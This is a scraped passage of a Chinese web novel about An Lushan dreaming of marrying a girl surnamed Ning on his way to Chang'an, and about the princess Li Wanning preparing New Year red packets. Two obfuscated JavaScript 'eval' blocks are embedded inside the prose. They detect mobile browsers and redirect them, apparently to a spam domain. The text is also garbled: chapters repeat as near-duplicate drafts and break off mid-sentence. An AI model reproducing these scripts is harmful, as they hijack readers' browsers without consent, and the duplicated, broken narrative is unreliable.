后来因着十二岁那年的一场梦,他又多了一个目标,若是能够活下来,他就一定要去长安。 自那以后,他就一直在为了这个目标而努力。 至于娶妻生子...... 先前因着母亲和继父的糟心事,他甚至是不敢娶妻的。 可是如今他有这个能力了,当他猛地回过头来,却意识到自己一个人已经走了这么久。 都说不孝有三,无后为大,可是照他看来,这个“孝”,不尽也罢。 ......算了,不想了。 他本来是想着趁着年底这些时日好好休息休息的,结果因着这档子事,他是一天也没休息成。 安禄山有些疲惫地从椅子上站了起来,解下腰间的銙带,褪去外面的衣袍,只剩一身汗衫。 他摸到了那块一直被自己揣在怀里的黑玉。 安禄山沉默了半晌,末了将那块裹着黑玉的白色方巾从怀里拿了出来。 待到方巾一层层地被掀开,那块沉寂了许久的黑玉似是感受到了久违的光明,在桌上灯火的照映下,变得异常明亮。 从前那些孤独难行的日子,都是命里伴他一起出生的这块玉,一直陪着他,让他觉得前路就算再艰难,也还是有继续走下去的可能。 他看着手心里的黑玉,低声呢喃道:“你也觉得,我应该娶妻了么?” 娶一个温柔贤惠的贤内助,帮他操持家事,在往后的日子里,对方主内自己主外,夫妻二人风雨同舟? 为什么,他的心里居然在抗拒呢...... 黑色的玉石在他的手里静静地躺着,不知为何,安禄山仿佛在那浓黑发亮的玉石里看到了一个少女的影子。 那是一个婀娜的背影,如墨一般的长发梳成了漂亮的发髻,身上的襦裙绣着大片的牡丹花,安静地站在一片盛放满牡丹花的院子里。 这个背影,越看越像…… 就在那个名字将要浮上心头之时,忽地外边传来李猪儿的声音:“郎君,柳姨娘求见。” 闻言,安禄山这才微微回过神来,抬起头看向外面:“让她进来。” 很快,一只纤纤玉手将内室的门轻轻推开,比起柳姨娘那风姿卓越的身影更先进入屋里的,却是一股浓汤的香味。 望着柳姨娘双手捧着的肉羹,安禄山这才意识到,自己自从早上离府之后,一口东西也没再吃过。 柳姨娘迤迤然地来到他身侧坐下,将手里的肉羹递到他的眼前:“奴家料想郎君深夜回来,说不定还没来得及用晚膳,所以亲手给郎君做了一份肉羹。” 安禄山略微颔首,在接过那碗肉羹的时候,手指碰到了对方那娇柔细嫩的玉手。 看着那双小巧白皙的手,他眼眸微动:“你有心了。” “这都是奴家应该做的。”柳姨娘含笑道。 她乖巧安静地看着郎君吃着碗里的肉羹,忽地一个转眼,却是看到 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柳姨娘被这冰冷的眼神吓了一跳,全身都不受控制地打了一个哆嗦:“奴,奴家一时好奇,想看看......” 闻言,安禄山没有再说话,他无声地将那块黑玉重新包好,然后揣进了自己怀里。 柳姨娘心有余悸地看着对方,这还是自打她认识郎君以来,对方第一次对他这么凶。 居然只是因为一块玉。 她深吸了一口气,努力将方才郎君那凶狠的目光抛之脑后,而后伸出玉手抚上对方的脸颊,柔声道:“郎君,夜深了。” 该睡觉了。 细嫩的手掌触碰到安禄山脸颊的那一刻,一股莫名的感觉在他的心间荡漾开来。 就像是一块石子扔进了平静的湖面,掀起了层层涟漪。 安禄山不由自主地将柳姨娘的手举到眼前,仔细端详着。 这只手,真的很像…… 像是…… 安禄山感觉到自己的心跳在不受控制地加快。 他想起了方才脑海中的那个背影。 那个背影,分明是…… 他不敢继续深想下去,不敢将那个名字浮上心头。 他,他怎么能,他没这个资格…… 那个名字的主人是天横贵胄、金枝玉叶,是天上遥不可及的明月。 而他从小是在马厩里长大的,一生都在最阴暗的角落里摸爬滚打,是人世间最卑微的尘埃。 他哪里有这个资格? 他想都不该想! 安禄山的胸口剧烈起伏着,就在这时,一道声音唤醒了他的神智:“郎君!” 他猛地惊醒。 柳姨娘揉着自己已经被捏到发红的手,担忧地看着他:“郎君,您怎么了?” 然而安禄山却低下头陷入了沉默。 不知过了多久,就当柳姨娘想要再次开口呼唤郎君的时候,对方猛地抬起头。 安禄山深吸了一口气,朝外边问道:“李猪儿,现在是什么时辰了?” 外边很快传来了回应:“回禀郎君,已经丑时了。” 安禄山站起身,面无表情道:“你该回去了。” 他明日还要启程去长安,再不睡就来不及了。 柳姨娘难以置信地看着对方。 她今夜过来就是打算留下来陪郎君过夜的,怎么刚才还聊得好好的,突然就要把她撵走了? 这般想着,柳姨娘不禁开口道:“郎君,奴……” 只是她尚未说完,安禄山便冷声吐出一个字:“滚。” 此言一出,柳姨娘余下的所有话语都哽在了喉间。 她有些颤抖地站起身,匆忙告退了。 屋里很快陷入了彻底的宁静。 寂静中,安禄山无声地脱下了汗衫和鞋袜,躺到榻上盖好了被子,而后合上双眼,逐渐入眠。 …… 迷迷糊糊中,他做了一个梦。 他梦到他娶了一个姓宁的姑娘,他和那个姑娘一同穿着大红喜服,在宾客的道贺声中拜了堂。 拜完堂以后,两人入了洞房,他伸出手,缓缓掀起对方头上的红盖头。 大红色的红盖头被掀起了一角,面前的新娘子也害羞地抬起头,四目相对,安禄山惊愕地愣在了原地。 新,新娘怎么会是?! 36. 在梦里大婚 闻言,安禄山这才微微回过神来。 “让她进来。” 很快,内室的门便被推开了,还未等外面的人走进内室,一股肉汤的香味已然扑面而来。 随后柳姨娘那风姿绰约的身影便出现在了门前,手里捧着一碗肉羹,缓步向安禄山走来。 望着对方手里的肉羹,安禄山这才意识到,自己自从早上离府之后,就一口东西也没再吃过。 他忙碌了一整天,此时才能放松心神休息片刻,如今再闻到这浓郁的肉香,一股饥肠辘辘的感觉很快朝他袭来。 柳姨娘迤迤然地来到安禄山身侧坐下,将手里的肉羹递到他的面前,含笑道:“奴家料想郎君深夜回来,说不定还没来得及用晚膳,所以亲手给郎君做了一份肉羹。” 安禄山略微颔首,在接过那碗肉羹的时候,手指碰到了对方那娇柔细嫩的玉手。 看着那双小巧白皙的手,他眼眸微动:“你有心了。” “这都是奴家应该做的。”柳姨娘含笑道。 她乖巧安静地看着郎君吃着肉羹,忽地一个转眼,却是看到了放在桌上的那块黑玉。 那块乌黑发亮的玉石正安静地躺在洁白的方巾中,在灯光的映射下熠熠生辉,恍若浩瀚的星空一般,幽深而又明亮。 柳姨娘没见过这块黑玉,但却认得这块方巾。 在她的印象里,这块方巾永远都被郎君揣在怀里,看得极其宝贝,即便是在睡觉的时候,也是被放在郎君的枕边,从不离身。 她从前还有些纳闷,这块方巾不过是粗麻所制,上面也没有任何的花纹,为何郎君偏偏对其爱不释手? 现在她才知道,原来这块方巾里竟还藏着一块玉石。 望着这块成色上佳的玉石,柳姨娘一时好奇心起,朝着那块黑玉伸出玉手,想要将它拿起来仔细瞧瞧。 到底是个怎样的宝贝,能让郎君如此在意? 说时迟,那时快。 就在柳姨娘的手快要触碰到黑玉的时候,安禄山猛地放下手里的碗,将那块黑玉抢走了。 而后,向她投来了一个充满敌意的眼神,连带着出口的话语都带着几分寒意。 “你在干什么?” 柳姨娘被这冰冷的眼神吓了一跳,全身都不受控制地打了一个哆嗦:“奴,奴家一时好奇,想看看......” 闻言,安禄山这才收回那冰冷的目光,他小心翼翼地将那块黑玉重新包好,然后揣进了自己怀里。 整个过程都无比的轻柔仔细,仿佛郎君面对的不是一块玉石,而是一个娇贵的女子。 柳姨娘看着对方温柔的动作,回想起方才那个森寒的眼神,仍旧觉得心有余悸。 这还是自打她认识郎君以来,对方第一次对她这么凶。 她先前一直以为,自己已经在郎君的心里占据了一定的位置,即便是犯些无伤大雅的小错,郎君也能原谅她,因而才会如此肆无忌惮。 只是现在看来,她完全想错了。 柳姨娘深吸了一口气,努力将方才郎君那凶狠的模样抛之脑后,而后伸出玉手抚上对方的脸颊,柔声道:“郎君,夜深了。” 该睡觉了。 等到柳姨娘那细嫩的手掌触碰到安禄山脸颊的瞬间,一股莫名的感觉在后者的心间荡漾开来。 就像是一块石子扔进了平静的湖面,掀起了层层涟漪。 安禄山像是忽然意识到了什么似的,猛地捉住柳姨娘的那只玉手,将它举到眼前,仔细端详着。 这只手,真的很像…… 像是,像是…… 安禄山感觉到自己的心跳在不受控制地加快。 他不由得想到了,那个两次出现在他梦中的背影。 那个背影,越看越像…… 尽管年纪不同,尽管他只见过那位一面,可是那个姿态,见一眼,便终生难忘。 安禄山不敢继续深想下去,不敢将那个名字浮上心头。 他,他怎么能,他没这个资格…… 那个名字的主人天横贵胄、金枝玉叶,是天上遥不可及的明月。 而他从小是在马厩里长大的,一生都在最阴暗的角落里摸爬滚打,是人世间最卑微的尘埃。 他哪里有这个资格? 他......他想都不该想! 安禄山的胸口剧烈起伏着,就在这时,一道声音唤醒了他的神智:“郎君!” 他猛地惊醒。 随着他手上一松,柳姨娘连忙收回了那已经被对方捏到发红的手,而后一边揉着被捏痛的地方,一边不解地看着他:“郎君,您怎么了?” 方才还好好的,怎么突然就变得这般反常? 闻言,安禄山却是低下头陷入了沉默。 不知过了多久,就当柳姨娘想要再次开口呼唤郎君的时候,对方却忽然抬起头。 而后安禄山深吸了一口气,朝外边问道:“现在是什么时辰了?” 外边很快传来了李猪儿的回应:“回禀郎君,已经丑时了。” 此言一出,安禄山几乎是同时就从椅子上站了起来,熄灭了桌上的油灯,而后转过身径直朝着床榻的方向走去。 “你该回去了。” 他明日还要启程去长安,再不睡就来不及了。 ......他现在什么都不要想了,他必须立刻就去休息。 柳姨娘难以置信地看着对方的背影。 她今夜过来就是打算留下来陪郎君过夜的,怎么突然就要把她撵走了? 柳姨娘不禁开口道:“郎君,奴……” 她的话尚未说完,面前那个高大的身影便停了下来,而后冷声吐出一个字:“滚。” 而随着这个“滚”字爆发而出的,是一股滔天的威压。 柳姨娘几乎是在瞬间便闭上了嘴,有些颤抖地从椅子上站起身,匆忙告退了。 屋里很快陷入了彻底的宁静。 黑暗的寂静中,安禄山沉默了良久,而后无声地脱下汗衫和鞋袜,躺到榻上盖好被子,合上双眼,陷入了沉睡。 ...... 今夜,安禄山做了一个梦。 他梦到他娶了一个姓宁的姑娘,那个姑娘穿着一身大红色的喜服,手执团扇遮住了脸,他看不到对方的容颜。 他将那个姑娘从婚车里抱了出来,两人进了府邸的大门,而后没有去拜猪圈,也没有去拜灶台,而是径直去了一个开满牡丹花的院子。 安禄山望着这座姹紫嫣红、宛如仙境一般的院子,总觉得无比得熟悉,却又想不起来。 他抱着怀里的姑娘来到院子西南角的百子帐前,才将姑娘小心地放下,而后两人便一同走进百子账。 等到两人进了百子帐以后,安禄山却看到,那本该由父母长辈坐着的上首处,如今居然只摆放着一个牌位。 灯火不甚明亮,他看不清楚那牌位上写的是谁。 只是梦里的他似乎对此并不意外,自然而然地和身侧的那个姑娘对着桌上的牌位行了礼。 行完礼后,在众人的吟诗催促中,那个姑娘终于撤去了挡在脸前的团扇,有些害羞地抬起头。 彼时安禄山就站在那个姑娘的面前,眼见着对方缓缓仰起那张精致的小脸,他的心跳也在莫名加快。 终于,就在他将要看清对方模样的时候...... 梦醒了。 躺在榻上的安禄山缓缓睁开眼,而后眯起双眸看向窗外的天色。 但见外边天已大亮,明媚的阳光透过薄纱窗子照进了屋里,给有些空荡的屋内增添了些许温馨的暖意。 他从榻上缓缓坐了起来,揉着自己的额头,不由得回想起昨夜的那个梦。 那个梦,实在是...... 太荒诞了。 当朝婚俗,男穿红女穿绿,是为红男绿女,为何在那个梦中,新娘穿的竟也是大红色的喜服。 而且,为什么他们要拜一个牌位,而且只拜了一个牌位? 那个牌位是谁的?他的母亲?还是她的父母? 想到此,安禄山微微一愣。 继而露出一丝苦笑。 那不过是一场梦,梦里的东西不合常理,实在是再正常不过了,他根本没必要去追究。 只是,那场梦实在是太清晰了,很难不让他去深想。 那个姓宁的姑娘,还有那座开满牡丹花的院子...... 安禄山猛地瞪大眼眸。 难,难道说,他这三次做的梦,梦到的都是那个姑娘吗? 那个姑娘会成为他的妻子? 梦里说,那个姑娘,姓宁。 宁...... 一想到这个字,安禄山的脑海中不由自主地想到了千里之外的长安,那个金枝玉叶、尊贵无比的天边明月。 长安,公主...... 此时此刻,仙境里的那个少女的背影,和他结为夫妻的宁姑娘的身形,还有那位天横贵胄幼小的身姿,竟然开始渐渐地重合了。 安禄山越是努力回忆,越是觉得她们仿佛就是......一个...... ......不,不可以! 安禄山匆忙回过神,他根本不敢继续深想下去。 他区区一个泥腿子,怎么敢亵渎皎洁无瑕的明月? 这般想着,安禄山不由得深吸了一口气,强迫自己冷静下来。 就在这时,他摸到了那块被他放在枕边的方巾。 他情不自禁地将打开方巾,看着那块安静躺在一片洁白之中的黑色玉石,黑玉的表面乌黑发亮,在照进屋里的暖阳下熠熠生辉,仿佛蕴藏着一整片浩瀚的星辰。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14649462|153733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 就如同,他在公主生辰宴上见到的,长安公主那双灿若繁星的眼眸。 姓宁......他在梦里,娶了一个姓宁的姑娘...... 安禄山忽地福至心灵。 他握紧手中的玉石,在心里做了一个无比重要的决定。 既然如此,那就当作他这个卑微到了尘埃里的泥腿子,能以一种这样的方式,来沾染亵渎一下那颗明媚的骄阳吧。 这般想着,忽地外边响起了敲门声,打算了安禄山的思绪。 他很快起身下了榻,穿好衣服以后打开门走了出去。 彼时李猪儿已经候在外厅许久了,见到自家郎君出来,连忙道:“郎君,孙队有急事要通传。” 话落,就在他抬眸看向郎君的瞬间,却在郎君的脸上看到了一个温柔至极的笑意。 那笑容实在是太过温暖,温暖到甚至有些耀眼,仿佛一束暖阳融化了漫长的寒冬,此后春回大地,万物复苏。 李猪儿难以置信地瞪大双眸。 他,他是不是眼花了? 这般想着,他连忙低下头揉了揉自己的眼睛,等到再抬起头来的时候,却见到对方已经恢复了往常淡漠的神色。 “让他进来。”安禄山来到桌边坐下,而后朝着李猪儿勾了勾手指,“过来,有件事我要吩咐你去办。” 闻言,李猪儿连忙凑上前去。 随后安禄山便低头附在他的耳边,低声说了些什么。 待到听清楚了郎君的命令,李猪儿应声道:“是,小的明白了。” 待到李猪儿得了命令退下以后,房门很快便再次打开,孙孝哲从外面走了进来。 安禄山给自己倒了杯茶水,漫不经心地问道:“昨天抓回来的那两个畜生,已经送到西市了?” “回禀郎君。”孙孝哲恭敬地答道,“现在正在打。” “另外,安老丈人和安老夫人也被护送到西市去观刑了,只是......” 说到此,孙孝哲面露难色:“安老丈人见到儿子被处刑,想要强闯进去阻拦行刑,被亲兵队拦住以后就开始大声斥骂都督您不孝,还,还说了许多难听的话......” 闻言,安禄山略微抬起眼眸,面无表情地看着他。 “怎么不把他的嘴堵住?” 说这话时,他的眼中已经略过了一丝浓烈的杀意,转瞬即逝。 孙孝哲咽了口唾沫,有些艰难道:“那,那毕竟是您的继父,如果都督您不介意的话......” 安禄山将手放在桌上敲了敲,似是沉吟了片刻,随后冷笑道:“堵住他们的嘴,等到那两个畜生杖杀完了,把安延偃那个混蛋的腿给我打折,让他以后再也出不了家门。” 闻言,孙孝哲的眼中登时闪过一抹兴奋和狠厉,连忙道:“是!” 哎哟,把人活活打残,这活他最爱干了! 安禄山微微颔首,挥手让对方退了下去。 没过一会儿,午膳便送到了,他很快吃过了午膳,而后迅速收拾行装和通牒,策马离开了府邸。 等到安禄山离开了柳城以后,没过多久,一条有关他的流言便自柳城兴起,逐渐传遍全营州。 据说安都督年少时曾有一个姓宁的发妻,两人青梅竹马,两小无猜,早几年前就已经成了婚,婚后亦是恩爱有加,感情甚笃。 只是可怜红颜薄命,两人婚后才几个月,宁夫人就染上恶疾,随后便撒手人寰。 安都督痛失爱妻,悲痛欲绝,跪在亡妻的坟前对天发誓,此生除了宁夫人,再不会娶任何人为妻。 此流言一出,众人总算是知道了为何都督迟迟不肯娶妻。 原是鹣鲽情深,忠贞不渝。 只是可惜了,那这样的话,这个金龟婿他们是没法高攀了。 就这样,有关安禄山的议论在营州愈演愈烈,众人无不再感叹安都督真是用情至深的好儿郎。 只是安禄山对于这些议论一概不知,彼时他早已离开了营州的地界,策马行走在前往长安的路上了。 仔细数数日子,若是快一点的话,他差不多能在大年三十的时候赶到长安,不至于要在半路上过年。 一想到要在梦寐以求的长安过年,安禄山的心里居然还有些激动。 等到过完年以后,就要参加正月初一的大朝会了。 而后...... 安禄山情不自禁地想着,要不就顺便在长安,过一次生日吧? 毕竟自己今年弱冠的时候都没有举行加冠礼,就当是给自己补一个了。 想到此,他回头望着身后来处那连绵起伏的山脉,嘴角逐渐露出一丝苦笑。 没有人知道,正月初一的元日也是他的生日。 毕竟从小到大,他从来没有过过一次好年,也从来没有过过一次生日。 37. 输给了鹦鹉 安禄山是大年三十当天到的长安。 如今已经年底,家家户户门前早已贴好了对联,挂上了喜庆的大红灯笼,三两孩童穿着厚厚的衣服,裹得像个球一般,在坊内的街道上蹿下跳。 安禄山来到驿站,将腰间的角符解下递给驿长。 彼时驿长才刚睡醒,眼见着一个身材高大、体型肥壮的年轻胡人从外面走了进来,来到他的面前。 他懒洋洋地打了个哈欠,不耐烦地挥了挥手。 “这里是驿站,无关人赶紧滚出去!” 然而他话音未落,便见到面前的年轻胡人拿出了一个角符。 呵,居然还是个在外地当官的。 明日便是大朝会了,每年的这个时候,大唐各地都会派使者来参朝,想来这个胡人也是被上边的都督或者节度使派来参朝的。 这般想着,驿长看向对方的眼中闪过一丝轻蔑,有意为难道:“驿站已经住满了,您有驿牒也没用,烦请去找其他的驿站吧!” 闻言,安禄山在心里冷哼了一声,随后不动声色地解下了腰间的鱼符。 那驿长见到面前的胡人居然摸出了一枚鱼符,人吓得直接从椅子上滑了下去。 什么,这,这个胡人居然还是五品以上的大官?! 他连忙从地上爬起来,脸上露出谄媚的笑意:“原,原来是外地来的长官,您稍等,下官这就给您安排!” 末了,他拿起安禄山放到桌上的那枚角符,仔细一看,这才发现对方何止是五品啊,居然是从二品营州上都督! 这下驿长再不敢怠慢,连忙火速办了手续,带着安禄山来到了二楼的一间上房。 “安都督,这间房是本驿站最好的一间了,您请!” 安禄山走进屋子,待到驿长离开以后,连着赶路了许多日的他放下行李,随后便躺到榻上想要补个觉,恢复一下体力。 只是还未等他人先睡着,一阵空腹感便冲散了全部的困意。 因着他被安大和安二那两个畜生的事耽误了许多时日,自前几日从柳城出发以后,他几乎是日夜兼程,一点不敢耽误,连觉都没怎么睡好,更别提吃点好的了。 带的干粮今天早上刚好吃完最后一口,幸好当时也快到长安了,不然他就得饿着肚子赶路了。 只是如今这也到中午了,早上他就没吃饱,如今更是饿得难受。 这下安禄山是彻底睡不着了,他有些无奈地叹了口气,末了起身下了榻,用水洗了把脸,随后稍微整理了一下有些褶皱的衣裳,打开门走了出去。 等到了楼下,驿长见到他走了过来,连忙问道:“敢问安都督还有什么需要的?” 又饿又困的安禄山面无表情地问道:“附近都有什么餐馆?” “哎呀这您可就问对人了!”驿长一拍大腿,指着驿站的门口道,“您出了这个门往右拐,再走两个街口,那儿啊一整条街都是卖吃的!” “尤其是刘婆家的包子铺,特别好吃!现在这个时辰也快中午了,您过去正好能吃到刚出锅的!” “还有张家楼,那家的水煮肉片用得都是好肉!” “还有还有......” 说起吃来,驿长简直是唾沫横飞,那话匣子打开了根本关不上,彼时已经饿得前胸贴后背的安禄山哪还听得了这个,连忙打断驿长的话,而后便匆匆走出驿长,往那条美食街赶去了。 等他来到驿长说的那条街以后,发现果真一整条街都是卖吃的,饭菜的香味从四面八方袭来,几乎快要把他淹没了。 饥肠辘辘的安禄山往四周胡乱了看了两眼,随后便进了一家合眼缘的食铺。 “博士,上两盘羊肉!” · 安禄山在饭馆内正等着羊肉,而与此同时,在隔了约莫两个坊区的兴庆宫内,李婉宁方才睡醒。 新年快到了,她昨日忙着给今晚会来驱傩的护僮侲子们包红包,硬生生熬到了大半夜才睡,结果今天就不出所料地起晚了。 其实如果是往年,这些红包她早就包好了,但是因着今年的冬天实在是太冷了,她和阿爹阿娘前几日才从华清宫回的长安,回来得晚就包得晚,于是才拖到了现在。 当,当然,这是因为她开始包得太晚了,绝对不是因为她刚回来的那几天一直贪玩,害得工作都堆到了最后那么几天! 这几天她包红包包得人都快麻了,满脑子都是红包,以至于今天起了以后,宫女们给她梳洗的时候,她还揉着眼睛地问道:“红包......唔,都包好了吗?” 宫女们瞧见自家的小公主揉着一双小熊猫眼,因为人还不怎么清醒,出口的声音更是带着几分奶声奶气,心都酥软了。 “都包好了的!”巧织揉了揉李婉宁的脑袋,宠溺道,“不多不少刚好一千个,今年肯定是够的!” 每年的除夕夜,尽管晚上仍旧有宵禁存在,可是大唐的每座城内却都有几千人大张旗鼓地走在外面,分成好几支队伍,在晚上走街串巷,敲鼓奏乐,甚至有一支队伍还能一路跳舞跳到皇宫。 这种队伍便叫做驱傩大队,每一支驱傩队伍都有戴着老头和老婆婆面具的男女领队,是为傩公和傩母; 而在傩公傩母身后,往往跟着千八百个小孩子面具的小孩子,叫做护僮侲子,李婉宁辛辛苦苦包的那些红包,就是给他们准备的; 另外除了傩公傩母和护僮侲子们,其实还有一部分戴着鬼怪面具的大人扮演要被驱的傩鬼,这三类人,便组成了一支千人的驱傩大队。 其实大部分的驱傩队伍,只是是在坊区内走街串巷跳舞驱傩的,但是最大最豪华的那支呢,却是要离开坊内,从长安的主干道一路往北,到皇宫里为皇帝娘娘们驱傩。 每年驱傩大队来宫里的时候,是李婉宁最开心的时候,那么多人聚在一起敲锣打鼓的,不比干坐在位子上看李龟年唱歌强。 她还是在穿越过来以后才知道,原来唐朝的时候其实还没有压岁钱的习俗。 不过因为阿爹和阿娘疼她,每年过年的时候都会给她准备一份礼物,也算是变相着压岁钱了。 但是,但是! 她没有压岁钱也就算了,毕竟她又不是真正的小孩子。 但是其他的小孩子可不能没有压岁钱!至少她见过的小孩子不可以! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14661019|153733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱着这样的想法,李婉宁一拍大腿,每年和宫女们专门准备红包,等到了除夕夜发给那些来驱傩的孩子们,讨个吉利。 最开始那几年她还不知道包多少个,结果每次都不够,导致那些孩子们都在抢,甚至都有小孩子受伤了。 于是她的红包每年都在增加,就从了两三百变成了三四百,三四百变成了五六百,到今年已经变成了一千个。 一千个红包呢,她包得手都酸了! 要是今年再不够,她就,她就......她就把阿娘身边的宫女姐姐们也喊过来一起包!包两千个! 这般想着,已经被宫女们收拾好的李婉宁打了个哈欠,准备坐到外面的椅子上去吃早饭。 结果还没等她跑到桌前,忽地一只通体雪白的鹦鹉从外面飞了进来,落在她的肩膀上叫道:“宁儿又起晚了!宁儿又起晚了!” “雪衣!!!”李婉宁气鼓鼓道,“宁儿是因为包红包才睡晚的,你根本就不懂!” 闻言,雪衣歪着自己的小脑袋瓜,想了半天也没有想明白“包红包”是个什么东西,于是摇了摇头不去想。 它展开翅膀飞到李婉宁的面前,然后伸出爪子勾住后者脖子上的金链,就要带着她往外面去。 “去内殿,吃午饭!去内殿,吃午饭!” “唔不要!”李婉宁摇了摇头,“我早饭还没吃呢!我要吃早饭!” 她要吃水果捞,她才不要吃饭! “不许挑食!不许挑食!”雪衣抓着李婉宁的金链不肯松开,“去吃饭!去吃饭!” “我不要!”李婉宁伸出手拽住自己的金链,大有一副要和雪衣拔河的气势。 实际上她也确实是这么想的,反正雪衣只是一只鹦鹉,她就算力气再小,也不可能输给鹦鹉吧! 一人一鸟就这么僵持着,过了片刻,雪衣终于松开了自己的爪子,一溜烟飞走了。 待到雪衣的背影逐渐远去以后,李婉宁骄傲地扬起自己的小脑袋,发出了胜利者的轻哼。 一旁的宫女们是哭笑不得,巧织揉了揉李婉宁的发顶,无奈地叹了口气。 “雪衣也是为了小殿下好啊,如今这都中午了,小殿下不然就吃点饭吧?” “不要!”李婉宁双手环胸,摇着头脆生生道。 末了,她这才转过身,跑到桌前去吃水果捞了。 只是还未等碗里的水果捞被吃上两口,雪衣便再次从外面飞了进来,落在李婉宁面前的桌上。 这一次,雪衣低头啄了啄自己的羽毛,悠闲道:“宁儿去吃饭,宁儿去吃饭!” “我说了我不要!”李婉宁鼓起自己的小脸蛋,“我不饿!” 结果这次她话音未落,身后便传来了一个熟悉的声音:“小殿下,陛下和娘娘喊您去内殿吃午饭。” 闻言,李婉宁这才回过头,便见到阿娘身边的大宫女郑云容就站在她的背后,含笑看着她。 李婉宁苦着脸道:“云容姐姐……” 末了,雪衣扑闪着翅膀飞到了郑云容的肩膀上,昂首挺胸,俨然一副胜利者的姿态。 “去吃饭!去吃饭!” 38. 宁儿去吃饭! 安禄山在饭馆内正等着羊肉,而与此同时,在隔了约莫两个坊区的兴庆宫,新射殿的偏殿内,李婉宁方才睡醒。 今天是除夕,她昨天忙着给晚上会来驱傩的护僮侲子们包红包,硬生生熬到了大半夜,结果今天就不出所料地起晚了。 其实如果是在往年,这些红包她早就包好了,但是因着今年的冬天实在是太冷了,她和阿爹阿娘前几日才从华清宫回来。 回来得晚就动工得晚,时间仓促,因此到了昨日都还没包完。 所以,都要怪今年太冷了,害得她时间不够,绝对不是因为她刚回来的那几天一直贪玩,才把事情都拖到最后的! 这几天她包红包包得人都快麻了,满脑子都是红包,以至于起了以后,人都还没睡醒,就惺忪着一双睡眼,含含糊糊地问道:“红包......唔,都包好了吗?” 彼时她身边的宫女们正在给她梳洗,那些宫女瞧见自家小殿下一副粉嫩的小脸迷迷糊糊的,因为人还不怎么清醒,出口的声音更是带着几分奶声奶气,心都酥软了。 “都包好了的!”巧织揉了揉李婉宁的脑袋,宠溺地笑了,“不多不少刚好一千个,今年肯定是够的!” 四年前,才四岁的小殿下突发奇想,想要给跟着驱傩大队来到皇宫驱傩的小孩子们发一种叫做“红包”的东西。 她还记得当时小殿下是这样说的—— “那些护僮侲子们来帮我们驱傩了,那他们自己怎么办呢?” “我也要想办法给他们驱傩压崇!” 于是那开始,每一年小殿下都坚持准备红包,等到除夕夜里,驱傩大队来到宫里的时候,把红包发给那些小孩子们,一直这样坚持了四年。 想到此,巧织看向李婉宁的目光愈加温暖。 小殿下从小到大,一直是一个很温柔的孩子呢。 而彼时李婉宁听到红包已经包完了,这才长松了一口气,略微点了点头,闭上眼睛任由宫女姐姐们给她擦脸穿衣。 她还是在穿越过来以后才知道,原来唐朝的时候还没有压岁钱的习俗。 不过因为阿爹和阿娘疼她,每年过年的时候都会给她准备一份礼物,也算是变相着压岁钱了。 其实她没有压岁钱也没关系的,毕竟她又不是真正的小孩子。 但是,但是! 她可以没有压岁钱,但其他的小孩子不可以没有! 既然他们的父母不给发压岁钱,那她来发! 哼哼,毕竟她的私房钱可是超多的,根本就花不完! 抱着这样的想法,李婉宁和宫女姐姐们一拍即合,每年都从宫外买许多红色的小荷包,然后往荷包里塞一点铜钱,就做成了红包。 然后等到了除夕夜的时候,她就把这些红包发给来驱傩的孩子们,讨个吉利。 最开始的那几年她还不知道要包多少个,结果每次都不够,导致那些孩子们都在抢,甚至因此有小孩子受了伤。 于是她准备的红包也每年都在增加,从最开始的三百个变成了四百个,又从四百个变成了五百个,到今年已经变成了一千个。 一千个红包呢,她包得手都酸了! 要是今年再不够,她就,她就...... 她就把阿娘身边的宫女姐姐们也喊过来一起包!包两千个! 这般想着,已经被宫女们穿好衣服的李婉宁打了个哈欠,迈着小步子跑去用早膳了。 结果还没等她人跑到桌前,忽地一只通体雪白的鹦鹉从外面飞了进来,落在她的肩膀上叫道:“宁儿又起晚了!宁儿又起晚了!” “雪衣!”李婉宁气鼓鼓地看着肩膀上的雪衣,不开心道,“宁儿是因为包红包才睡晚的,你不懂!” 闻言,雪衣歪着自己长满羽毛的小脑袋,想了半天也没有想明白“包红包”是个什么东西,于是干脆摇了摇头不再去想。 它展开翅膀飞到小主人的面前,然后伸出爪子勾住后者脖子上的金链,就要带着她往外面去。 “去内殿,吃午饭!去内殿,吃午饭!” “唔不要!”李婉宁摇了摇头,“我早饭还没吃呢!我要吃早饭!” 她要吃水果捞,她才不要吃饭! “不许挑食!不许挑食!”雪衣抓着李婉宁的金链,使劲地扑闪着翅膀,“去吃饭!去吃饭!” “我不要!”李婉宁也伸出手拽住自己的金链,大有一副要和雪衣拔河的架势。 实际上她不仅是摆出了这么一副架势,她也确实是这么想的。 反正雪衣只是一只鹦鹉,她就算力气再小,也不可能输给鹦鹉吧! 一人一鸟就这么僵持着,过了片刻,雪衣似乎终于意识到了自己不可能拽得走对方,于是松开了自己的爪子,一溜烟飞走了。 待到雪衣的背影逐渐远去以后,李婉宁双手环胸,扬起自己的小脑袋,骄傲地“哼”了一声。 一旁的宫女们是哭笑不得,巧织揉了揉自家小殿下的发顶,有些无奈地叹了口气。 “雪衣也是为了小殿下好啊,如今这都中午了,小殿下不然就吃点饭吧?” “不要!”李婉宁摇着头脆生生道。 末了,她这才转过身,跑去吃自己的早饭水果捞了。 只是还未等她拿着勺子吃上两口,雪衣便再次从外面飞了进来,落在了李婉宁面前的桌子上。 